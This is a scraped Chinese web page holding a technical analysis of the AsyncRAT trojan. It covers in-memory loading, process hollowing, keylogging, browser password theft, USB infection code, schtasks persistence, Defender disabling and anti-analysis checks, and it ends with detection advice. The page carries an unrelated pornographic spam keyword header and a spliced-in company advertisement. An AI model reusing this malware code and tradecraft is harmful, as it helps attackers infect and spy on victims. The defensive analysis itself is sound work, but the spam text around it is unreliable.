日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
AsyncRAT利用分析

0x01 簡介

創(chuàng)新互聯(lián)公司專注于網(wǎng)站建設(shè),為客戶提供網(wǎng)站設(shè)計、網(wǎng)站制作、網(wǎng)頁設(shè)計開發(fā)服務(wù),多年建網(wǎng)站服務(wù)經(jīng)驗,各類網(wǎng)站都可以開發(fā),成都品牌網(wǎng)站建設(shè),公司官網(wǎng),公司展示網(wǎng)站,網(wǎng)站設(shè)計,建網(wǎng)站費用,建網(wǎng)站多少錢,價格優(yōu)惠,收費合理。

· AsyncRAT的優(yōu)點

· AsyncRAT的技術(shù)細節(jié)

· 檢測方法

0x02 AsyncRAT的優(yōu)點

AsyncRAT使用C Sharp開發(fā),應(yīng)用于Windows系統(tǒng),具有以下優(yōu)點:

1. 支持從Pastebin.com讀取C2服務(wù)器的配置信息;

2. 支持內(nèi)存加載PE文件;

3. 支持動態(tài)編譯并執(zhí)行C#或者VB代碼;

4. 支持U盤感染,能夠感染U盤中所有使用.NET開發(fā)的exe文件;

5. 支持自動讀取Firefox和Chrome瀏覽器中保存的密碼;

6. 通過欺騙用戶點擊的方式繞過UAC進行提權(quán);

7. 通過C#接口技術(shù),提高程序的擴展性,在程序?qū)崿F(xiàn)上將每一個功能對應(yīng)一個類,編譯成dll文件,在需要加載的時候,由Server發(fā)送至Client,Client通過Activator.CreateInstance將類實例化,進而調(diào)用類的方法。

0x03 AsyncRAT的技術(shù)細節(jié)

本節(jié)按照AsyncRAT控制面板上的功能逐個進行分析,如下圖:

1.SendFile

(1)ToMemory

內(nèi)存加載exe文件,支持以下兩種類型:

· Reflection

· 使用Assembly.Load加載C#程序

更多細節(jié)可參考之前的文章《從內(nèi)存加載.NET程序集(Assembly.Load)的利用分析》。

· RunPE

· 通過替換進程內(nèi)存的方式加載exe文件

可選擇以下程序作為被注入的程序:

· aspnet_compiler.exe

· RegAsm.exe

· MSBuild.exe

· RegSvcs.exe

· vbc.exe

注:

· 以上5個exe文件位于Microsoft.NET Framework的安裝目錄,同AsyncClient.exe的位數(shù)保持一致

· 使用32位的AsyncClient.exe反彈回的Session,默認會尋找32位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319

· 使用64位的AsyncClient.exe反彈回的Session,默認會尋找64位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319

· RunPE操作將啟動以上5個exe文件中的一個,通過ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread實現(xiàn)對進程內(nèi)存的修改,替換成要加載的exe文件

· 這里需要注意要加載的exe文件需要同AsyncClient.exe的位數(shù)保持一致

· 使用32位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載32位的exe文件

· 使用64位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載64位的exe文件

更多細節(jié)可參考之前的文章《傀儡進程的實現(xiàn)與檢測》

(2)ToDisk

將exe文件上傳到目標主機的%Temp%目錄,重命名為隨機字符串,再使用Powershell啟動exe文件,執(zhí)行后不會刪除%Temp%目錄下的exe文件。

2. Monitoring

(1)Remote Desktop

· 監(jiān)控屏幕,實時獲得目標桌面的內(nèi)容(只能監(jiān)控,無法操作)

· 調(diào)用Graphics類的CopyFromScreen實現(xiàn)屏幕截圖

通過Python實現(xiàn)監(jiān)控屏幕的細節(jié)可參考之前的文章《Pupy利用分析——Windows平臺下的屏幕控制》。

(2)Keylogger

· 實時獲得目標主機鍵盤輸入的消息和進程名稱

· 通過hook的方式實現(xiàn)鍵盤記錄

(3)Password Recovery

· 獲得Firefox和Chrome瀏覽器中保存的密碼

技術(shù)細節(jié)可參考之前的文章《滲透技巧——導(dǎo)出Firefox瀏覽器中保存的密碼》和《滲透技巧——導(dǎo)出Chrome瀏覽器中保存的密碼》。

(4)File Manager

· 文件管理,還支持隱蔽安裝7zip和對文件的壓縮及解壓縮

隱蔽安裝7zip的方式:

· 在%Temp%目錄新建文件夾7-Zip,釋放文件7z.exe和7z.dll

(5)Process Manager

· 進程管理,支持查看進程和關(guān)閉進程

(6)Report Window

· 監(jiān)控重要進程,當目標主機上運行指定進程時,控制端彈出提示消息

(7)Webcam

· 開啟攝像頭

3.Miscellaneous

(1)Bots Killer

清除自身進程在注冊表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的項。

(2)USB Spread

1. 當目標主機連接U盤時,感染U盤中的文件。

2. 將木馬客戶端復(fù)制到U盤中并隱藏,默認保存的名稱為LimeUSB.exe。

修改U盤中所有使用.NET開發(fā)的exe文件,通過CSharpCodeProvider改變程序運行流程,添加以下代碼:

 
 
 
 
  1. using System; 
  2. using System.Diagnostics; 
  3. using System.Reflection; 
  4. using System.Runtime.InteropServices; 
  5.  
  6. [assembly: AssemblyTrademark("%Lime%")] 
  7. [assembly: Guid("%Guid%")] 
  8.  
  9. static class %LimeUSBModule% 
  10.     public static void Main() 
  11.     { 
  12.         try 
  13.         { 
  14.             System.Diagnostics.Process.Start(@"%File%"); 
  15.         } 
  16.         catch { } 
  17.         try 
  18.         { 
  19.             System.Diagnostics.Process.Start(@"%Payload%"); 
  20.         } 
  21.         catch { } 
  22.     } 

用戶在啟動正常文件的同時會隱蔽執(zhí)行U盤中的木馬客戶端。

(3)Seed Torrent

· 向目標主機發(fā)送種子文件并下載

· 目標主機需要安裝uTorrent或者BitTorrent

(4)Remote Shell

· 彈出一個交互式的cmd窗口

(5)DOS Attack

· 向指定域名持續(xù)發(fā)送HTTP數(shù)據(jù)包

(6)Execute .NET Code

· 在目標主機上動態(tài)編譯C#或者VB代碼并執(zhí)行

· 模板文件包含彈框和下載執(zhí)行的功能

我提取出了其中編譯C#代碼并執(zhí)行的功能,代碼示例如下:

 
 
 
 
  1. using System; 
  2. using System.CodeDom; 
  3. using System.CodeDom.Compiler; 
  4. using System.Reflection; 
  5. namespace CodeDomProviderTest 
  6.     class Program 
  7.     { 
  8.         static void Main(string[] args) 
  9.         { 
  10.             string source = @" 
  11. using System; 
  12. using System.Windows.Forms; 
  13. namespace AsyncRAT 
  14.     public class Program 
  15.     { 
  16.         public static void Main(string[] args) 
  17.         { 
  18.             try 
  19.             { 
  20.                 MessageBox.Show(""Hello World""); 
  21.             } 
  22.             catch { } 
  23.         } 
  24. }"; 
  25.             CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");   
  26.             try 
  27.             {               
  28.                 var compilerOptions = "/target:winexe /platform:anycpu /optimize-"; 
  29.  
  30.                 var compilerParameters = new CompilerParameters(); 
  31.                 compilerParameters.ReferencedAssemblies.Add("system.dll"); 
  32.                 compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll"); 
  33.                 compilerParameters.GenerateExecutable = true; 
  34.                 compilerParameters.GenerateInMemory = true; 
  35.                 compilerParameters.CompilerOptions = compilerOptions; 
  36.                 compilerParameters.TreatWarningsAsErrors = false; 
  37.                 compilerParameters.IncludeDebugInformation = false; 
  38.  
  39.                 var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); 
  40.                 if (compilerResults.Errors.Count > 0) 
  41.                 { 
  42.                     foreach (CompilerError compilerError in compilerResults.Errors) 
  43.                     { 
  44.                         Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText, 
  45.                             compilerError.Line, compilerError.Column, compilerError.FileName)); 
  46.                         break; 
  47.                     } 
  48.                 } 
  49.                 else 
  50.                 { 
  51.                     Assembly assembly = compilerResults.CompiledAssembly; 
  52.                     MethodInfo methodInfo = assembly.EntryPoint; 
  53.                     object injObj = assembly.CreateInstance(methodInfo.Name); 
  54.                     object[] parameters = new object[1]; 
  55.                     if (methodInfo.GetParameters().Length == 0) 
  56.                     { 
  57.                         parameters = null; 
  58.                     } 
  59.                     methodInfo.Invoke(injObj, parameters); 
  60.                 } 
  61.             } 
  62.             catch (Exception ex) 
  63.             { 
  64.                 Console.WriteLine(ex.Message); 
  65.             } 
  66.         } 
  67.     } 

(7)Files Searcher

· 搜索指定后綴名的文件并打包成zip文件

4.Extra

(1)Visit Website

· 啟動默認瀏覽器并訪問指定URL,界面不隱藏

(2)Send MessageBox

· 在目標主機上彈出對話框

(3)Chat

· 在目標主機上彈出對話框,實時顯示輸入的內(nèi)容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin權(quán)限重新啟動木馬客戶端,這個操作會在用戶桌面彈出UAC框,需要用戶選擇允許后才能運行;

2. 如果用戶未選擇允許,會一直彈出UAC對話框;

3. UAC對話框的程序位置會暴露木馬客戶端的路徑;

4. 如果想要偽造一個更加可信的UAC對話框(不暴露程序位置)可以參考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能:

通過WinAPI CreateDesktop()創(chuàng)建一個隨機名稱的虛擬桌面,內(nèi)容為空,當切換到這個空的虛擬桌面時,用戶無法對桌面進行操作。

Stop功能:

通過WinAPI SwitchDesktop()切換到原來的桌面。

(6)Disable Windows Defender

· 通過修改注冊表的方式關(guān)閉Windows Defender,通常在Win10系統(tǒng)上使用

(7)Set Wallpaper

· 設(shè)置用戶的桌面

5.Server

· Block Clients

· 拒絕指定IP回連的木馬客戶端

6.Builder

(1)Connection

DNS:指定C2 Server的IP,可以設(shè)置多個;

Port:指定C2 Server的端口,可以設(shè)置多個;

Pastebin:從Pastebin.com讀取C2 Server的信息,包括DNS和Port。

內(nèi)容示例:

 
 
 
 
  1. 127.0.0.1:6606:7707:8808 

(2)Install

1. 用作配置木馬客戶端自啟動的功能;

2. 開啟這個功能后會將木馬客戶端復(fù)制到指定位置;

3. 文件名稱可以重新命名;

4. 文件路徑可選擇%AppData%或%Temp%目錄;

5. 當木馬客戶端以普通用戶權(quán)限執(zhí)行時,會在注冊表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加項,以新的木馬客戶端名稱作為注冊表項的名稱,以新的木馬客戶端路徑作為注冊表項的數(shù)據(jù)。

當木馬客戶端以管理員權(quán)限執(zhí)行時,會使用schtasks命令創(chuàng)建計劃任務(wù),命令示例:

 
 
 
 
  1. schtasks /create /f /sc onlogon /rl highest /tn  /tr 

計劃任務(wù)的名稱為新的木馬客戶端名稱,會在用戶登錄時執(zhí)行計劃任務(wù)。

(3)Misc

Group:對木馬客戶端進行分類;

Mutex:設(shè)置互斥量,避免木馬客戶端的重復(fù)啟動;

Anti Analysis:

包括以下功能:

· DetectManufacturer,通過WMI獲得系統(tǒng)信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox

· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()檢查是否為調(diào)試器

· DetectSandboxie,使用WinApi GetModuleHandle()檢查SbieDll.dll是否存在

· IsSmallDisk,檢查硬盤大小是否小于60Gb

· IsXP,檢查系統(tǒng)名稱是否包含字符xp

Process Critica:

將進程設(shè)置為保護進程,如果意外關(guān)閉了保護進程,那么將導(dǎo)致BSOD。

更多細節(jié)可參考之前的文章《結(jié)束進程導(dǎo)致BSOD的利用分析》。

Delay:延遲執(zhí)行的時間

(4)Assembly

· 可以手動設(shè)置文件屬性,也可以復(fù)制指定文件的文件屬性

(5)Icon

· 設(shè)置文件圖標

(6)Build

· Simple Obfuscator:通過重命名的方式實現(xiàn)簡單的混淆

關(guān)鍵代碼:

 
 
 
 
  1. private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule) 
  2.     { 
  3.         ModuleDefMD module = inModule; 
  4.         IRenaming rnm = new NamespacesRenaming(); 
  5.         module = rnm.Rename(module); 
  6.         rnm = new ClassesRenaming(); 
  7.         module = rnm.Rename(module); 
  8.         rnm = new MethodsRenaming(); 
  9.         module = rnm.Rename(module); 
  10.         rnm = new PropertiesRenaming(); 
  11.         module = rnm.Rename(module); 
  12.         rnm = new FieldsRenaming(); 
  13.         module = rnm.Rename(module); 
  14.         return module; 
  15.     } 

0x04 檢測方法

1.查找可疑文件

路徑:%AppData%和%Temp%目錄。

2.使用Autoruns檢查可疑的啟動項

(1)注冊表位置

· HKLM\Software\Microsoft\Windows\CurrentVersion\Run

· HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2)計劃任務(wù)列表

3.后臺可疑進程

· AsyncRAT的木馬客戶端只有exe文件一種形式,在運行時會產(chǎn)生可疑的進程

4.通信流量

· 查看可疑進程對外通信流量

5.使用殺毒軟件

· 目前殺毒軟件均會對AsyncRAT進行攔截

0x05 小結(jié)

本文在技術(shù)研究的角度分析AsyncRAT的技術(shù)細節(jié),介紹檢測方法。


文章名稱:AsyncRAT利用分析
文章分享:http://www.5511xx.com/article/dpppgig.html